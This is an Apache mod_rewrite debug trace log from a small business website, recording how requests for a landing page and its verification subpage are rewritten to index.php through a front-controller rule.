[Mon Nov 10 18:43:29.441074 2025] [rewrite:trace2] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383800ff80/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441091 2025] [rewrite:trace2] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383800ff80/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441117 2025] [rewrite:trace1] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383800ff80/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441265 2025] [rewrite:trace3] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838045140/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441282 2025] [rewrite:trace3] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838045140/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441292 2025] [rewrite:trace3] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838045140/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441304 2025] [rewrite:trace4] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838045140/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441357 2025] [rewrite:trace3] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838045140/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441379 2025] [rewrite:trace3] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838045140/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441412 2025] [rewrite:trace3] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838045140/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441463 2025] [rewrite:trace4] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838045140/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441479 2025] [rewrite:trace1] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838045140/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441712 2025] [rewrite:trace3] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380c2550/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441735 2025] [rewrite:trace3] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380c2550/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441748 2025] [rewrite:trace4] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380c2550/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441763 2025] [rewrite:trace4] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380c2550/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441793 2025] [rewrite:trace4] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380c2550/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441803 2025] [rewrite:trace2] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380c2550/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441813 2025] [rewrite:trace3] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380c2550/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441823 2025] [rewrite:trace2] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380c2550/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441839 2025] [rewrite:trace2] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380c2550/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441849 2025] [rewrite:trace1] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380c2550/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:31.482526 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840032b00/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482604 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840032b00/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482615 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840032b00/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482632 2025] [rewrite:trace4] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840032b00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482649 2025] [rewrite:trace4] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840032b00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482663 2025] [rewrite:trace4] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840032b00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482674 2025] [rewrite:trace2] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840032b00/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482697 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840032b00/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482711 2025] [rewrite:trace2] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840032b00/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482722 2025] [rewrite:trace2] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840032b00/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482731 2025] [rewrite:trace1] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840032b00/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482832 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840031e20/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482848 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840031e20/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482857 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840031e20/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482870 2025] [rewrite:trace4] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840031e20/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482880 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840031e20/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482895 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840031e20/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482904 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840031e20/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482917 2025] [rewrite:trace4] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840031e20/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.482935 2025] [rewrite:trace1] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3840031e20/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.483147 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38400aedc0/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.483159 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38400aedc0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.483169 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38400aedc0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.483181 2025] [rewrite:trace4] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38400aedc0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.483208 2025] [rewrite:trace4] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38400aedc0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.483213 2025] [rewrite:trace4] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38400aedc0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.483230 2025] [rewrite:trace2] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38400aedc0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.483233 2025] [rewrite:trace3] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38400aedc0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.483243 2025] [rewrite:trace2] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38400aedc0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.483261 2025] [rewrite:trace2] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38400aedc0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:31.483271 2025] [rewrite:trace1] [pid 11494:tid 11512] mod_rewrite.c(505): [client 192.76.153.253:61690] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38400aedc0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:42.644262 2025] [rewrite:trace3] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f380403f9d0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644352 2025] [rewrite:trace3] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f380403f9d0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644375 2025] [rewrite:trace4] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f380403f9d0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644397 2025] [rewrite:trace4] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f380403f9d0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644420 2025] [rewrite:trace4] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f380403f9d0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644431 2025] [rewrite:trace2] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f380403f9d0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644442 2025] [rewrite:trace3] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f380403f9d0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644453 2025] [rewrite:trace2] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f380403f9d0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644464 2025] [rewrite:trace2] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f380403f9d0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644475 2025] [rewrite:trace1] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f380403f9d0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644575 2025] [rewrite:trace3] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3804010f50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644586 2025] [rewrite:trace3] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3804010f50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644599 2025] [rewrite:trace3] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3804010f50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644624 2025] [rewrite:trace4] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3804010f50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644631 2025] [rewrite:trace3] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3804010f50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
